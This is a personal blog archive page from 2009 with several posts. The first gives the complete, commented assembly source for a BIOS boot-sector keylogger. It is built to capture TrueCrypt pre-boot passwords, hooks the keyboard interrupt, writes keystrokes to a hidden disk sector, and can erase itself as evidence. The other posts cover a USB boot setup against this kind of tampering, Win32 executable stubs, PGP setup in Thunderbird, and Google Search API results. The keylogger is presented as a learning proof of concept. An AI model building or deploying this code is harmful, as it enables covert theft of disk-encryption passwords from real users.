Home Page
Archive > Posts > 2009 > October
Search:

BIOS Level Key Logger
More Boot Loader Fun

So I decided to play around more with boot loaders for a bit of fun and learning. I couldn’t come up with a good project to do, so I defaulted on writing a proof of concept for a TrueCrypt pre-boot authenticated volume key logger (again, see my last Boot Loaders post for more information).

Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.

This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.


I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).

Installing works as follows:
  • Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
  • Installs the compiled code to the boot loader sector.

Once installed, the key logger (v1.0 source) [v1.0 compiled binary] boot loader works as follows:
  • When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
  • It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
  • If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
  • It then installs a BIOS interrupt hook on the keyboard interrupt (0x9) to call the key logger.
  • The final step is to execute the original boot loader which is now at the boot loader location in memory.

The key logger works as follows:
  • When a key is pressed, the key logger code is called.
  • It first calls the original interrupt 0x9 keyboard handling code.
  • It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
  • The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
  • Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.

The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information

ORG 0x7C00 ;Origin location

;Constants
Start:					;Where the program starts (0x7C00)
SectorSize equ 0x200		;Size of a sector (and the boot loader)

;User defined constants
	;Memory mappings
	NewStart equ Start+SectorSize				;Where the boot loader will be copied to in memory for execution
	WhereToRecord equ Start+SectorSize*2 	;Where to record key strokes in memory (the save buffer)

	;Hard drive mappings
	WriteSector equ 60				;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
	OriginalBootLoaderSector equ 61	;The hard drive sector the original boot loader is written to
	EraseEvidence equ 0				;Boolean dictating whether to restore the original boot loader and clear out where it was copied

;More constants
CodeOffset equ NewStart-Start		;The code is actually offset this amount when copied to the new memory location

;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax

;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9								;Jump to...
dw CodeOffset						;...Location where code is moved to

;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2							;Read instruction
mov dl,0x80							;Drive #0 (0x80-x)
mov al,1								;1 sector
xor dh,dh							;Head #0
xor ch,ch							;Track #0
mov cl,OriginalBootLoaderSector+1	;Sector to read from
mov bx,Start							;Memory location to write to
int 0x13								;BIOS drive function

;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb

;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence					;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence					;If false, do not do so
mov bx,Start							;The buffer to write (which is now the original boot loader)
mov cl,0+1							;Write to the first sector
call WriteToDrive						;Do the write to restore the original boot loader
mov bx,WhereToRecord				;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1	;Write to where the original boot loader was stored
call WriteToDrive						;Do the write to erase the backup of the original boot loader
SkipEraseEvidence:

;Hook the keyboard interrupt
cli												;Disable interrupts
mov eax, [es:0x9*4]								;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax		;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset		;Install INT 9 filter
sti												;Enable interrupts

;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;GetKeys:
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys

;Execute the original boot loader
db 0xe9									;Jump to...
dw -CodeOffset-($-Start)-2				;...Original start, which now contains the original boot loader

;Keyboard hook
Int9Hook:
	pushf								;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
	DB 9Ah								;CALL FAR PROC SEGMENT:OFFSET
		OriginalInt9Handler dd 0			;The original Interrupt 9 handler (in segment:offset format [ror 16])

	;Save registers and zero out es
	pusha
	xor bx,bx
	mov es,bx

	;Get the character we are currently on in the save buffer, and if >512, do not record
	mov di,[es:CharacterOn+CodeOffset]	;di=The character we are currently on
	cmp di,512
	jge SkipInt9

	;Loop through the keyboard buffer
	mov esi,[es:0x41A]					;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
	add esi,0x04000400					;Beginning and end +=0x400, si=keyboard buffer head
	mov ecx,esi
	shr ecx,16							;cx=keyboard buffer tail
	mov bx,0x41E						;bx=The beginning of the keyboard buffer
	cmp si,cx							;Check if there are no characters to write (head==tail)
	je SkipInt9							;If there are no keys to write, jump to end
	WriteKey:							;Save a single keyboard character to our save buffer.
		;Save the character
		mov al,[es:si]					;Fetch the character, use es:si+1 to save the scancode instead
		mov [es:di+WhereToRecord],al	;Save the character
		;Update where we are in the save buffer and make sure we are not at the end (>512)
		inc di							;Update where we are in the buffer
		cmp di,512
		jge FinishedKeyboardBuffer

		;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
		add si,2							;Move to the next character in the keyboard buffer
		cmp si,0x43E					;If we have exceeded the keyboad buffer length...
		cmovge si,bx						;...loop back to the beginning
		cmp si,cx						;If there are still more characters to write (head<tail)
		jl WriteKey						;Write the next character
	FinishedKeyboardBuffer:

	mov [es:CharacterOn+CodeOffset],di	;Update where we are in the save buffer

	;Write the updated keylogger to the harddrive
	mov cl,WriteSector+1					;Sector to write to
	mov bx,WhereToRecord
	call WriteToDrive

	;Clean up from the interrupt
	SkipInt9:
	popa
	iret

;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
WriteToDrive:
mov ah,3			;Write instruction
mov dl,0x80			;Drive #0 (0x80-x)
mov al,1				;1 sector
xor dh,dh			;Head #0
xor ch,ch			;Track #0
int 0x13				;BIOS drive function
ret					;Return from function

;Variables
CharacterOn dw 0	;What character we are on in the character buffer

;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
My New Boot Loader
Hijack it at the beginning

I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.

I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).

I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).


Video Notes:
  • It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
  • The boot loader was ran through a virtual machine (VMWare) so I could easily record it.

Here is the code for the boot loader (in assembly), and here is the compiled boot loader which can be placed in the boot sector of any bootable medium (Hard Drive, USB Flash, CD, etc).


Warning:

Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.



Useful Wikipedia references: INT 10 (BIOS interrupt call for video services), BIOS Color Attributes
Executable Stubs
Win32 Executable Hacking

Executable stubs can be used by a compiler to create the header section (the beginning section) of an outputted executable by adding the “/stub” switch to the linker.

#pragma comment(linker, "/stub:Stub.exe")

The MSDN Library for MSVC6 has the following to say about it:

The MS-DOS Stub File Name (/STUB:filename) option attaches an MS-DOS stub program to a Win32 program.

A stub program is invoked if the file is executed in MS-DOS. It usually displays an appropriate message; however, any valid MS-DOS application can be a stub program.

Specify a filename for the stub program after a colon (:) on the command line. The linker checks filename to be sure that it is a valid MS-DOS executable file, and issues an error message if the file is not valid. The program must be an .EXE file; a .COM file is invalid for a stub program.

If this option is not used, the linker attaches a default stub program that issues the following message:
This program cannot be run in MS-DOS mode.

For the stub to work in XP, the following guidelines must be met:
  • The stub should be at least 64 bytes long
  • The first 2 bytes of the stub (Bytes 0-1) need to be “MZ”
  • Bytes 60-63 (4 bytes) are replaced by the compiler (I have a note that you might want to set this to 0x60000000 [big endian] for some reason)

As long as these guidelines are met, the rest of the stub can be whatever you want :-). For Small Projects, you can even put information here like strings for the executable, which are accessible through the executable virtual address space starting at 0x400000.
PGP for Thunderbird in Windows
Securing your communications is important

I have been using and recommending Thawte’s free SMIME email certificates for a number of years. Personal email certificates have always been a bit more attractive for me than PGP for communicating securely with other [not always very computer literate] people since they are directly integrated into most [if not all] email clients.

It’s always been nice to be able to sign an email to another person with my certificate, and just tell them to hit the “encrypt” button next time they send me something either of us want encrypted :-) (email clients automatically store a certificate after receiving it, which signing includes).

Thawte has been my choice for SMIME certificates because they issue them for free, and it’s not something that’s really worth paying for. There are other services out there that do the same kind of thing for free, but Thawte is a large name I trust. Unfortunately, Thawte recently announced that they are closing down their free email certificate program.


I have been using PGP for a few years to communicate with multiple people too, and have decided to try and move all my friends/clients over to it too due to the circumstances. Also, PGP has the major advantage of you creating your own private keys instead of a 3rd party (i.e. Thawte) doing it, meaning only you have the key to access emails encrypted to you.

So anywho, here’s the info on getting PGP set up with Thunderbird in Windows for anyone that needs it.


  • First, of course, you’ll need Thunderbird, which can be downloaded here.
  • I recommend you always send all your emails in both HTML and Plain Text, so you can have rich text formatting in your emails by default, but lame people that don’t have clients that read HTML are ok too. To do this, go to Menu > Tools > Options > Composition > General > Send Options > In the top box change it to “Send the message in both plain text and HTML”.
  • Next, you need to install PGP. I recommend using GnuPG (windows version).
  • When you run GnuPG for the first time, it’ll ask you if you want to generate a key, which you’ll want to do, unless you already have one made that you need to import.
  • Next, you’ll want to install Enigmail for Thunderbird. After downloaded it, in Thunderbird, go to Menu > Tools > Add-ons > Extensions > Install, and open the .xpi file.
  • After Thunderbird restarts, go to Menu > OpenPGP > Setup Wizard and step through it. During this setup, I personally suggest changing the following default options:
    • “Do you want to change a few default settings...” > Yes > Details > Uncheck the following
      • Disable flowed text
      • View message body as plain text
      • Use 8-bit encoding for message sending
      • Do not compose HTML message
  • To encrypt mail to other people, or verify a signed message from them, you need their public key file. Some of the ways they can send their public key to you are as follows:
    • A normal file send, in which case you will need to import it through GnuPG.
    • You might also be able to retrieve it from a public key server if they put it there, but I am not going to go into that.
    • If they send it to you through an attachment in an email, and you double click on it in Thunderbird, you will receive a prompt asking if you’d like to import the key.
  • To encrypt an email to another person, after having their public key, simple go to Menu > OpenPGP > Encrypt Message in the compose window. Make sure to also check Menu > OpenPGP > Use PGP/MIME for This Message so it can send the HTML!
  • To send your public key to someone go to Menu > OpenPGP > Attach My Public Key in the compose window.
Google Search API Failure
Google Search failed me again

I am once again disappointed by Google Search functionality, which has hindered my implementation of proper searching on this site :-(. (See relevant update).

The Google Search API returns a vastly stripped result set compared to using actual Google Search. I have checked and done a bit of research and have not found a good reason for this. And, no, it has nothing to do with local or personalized searches, which has been confirmed by using searches without any kind of cookies or localizations.

My guess is that the Google Search API and normal Google Search itself are just tapping into different result sets from the start :-(.


An example of this problem is as follows: Searching for “Fractal” in the Projects section returns the following results:

At some point I’ll probably have to find another site search solution for this reason, blegh. :-\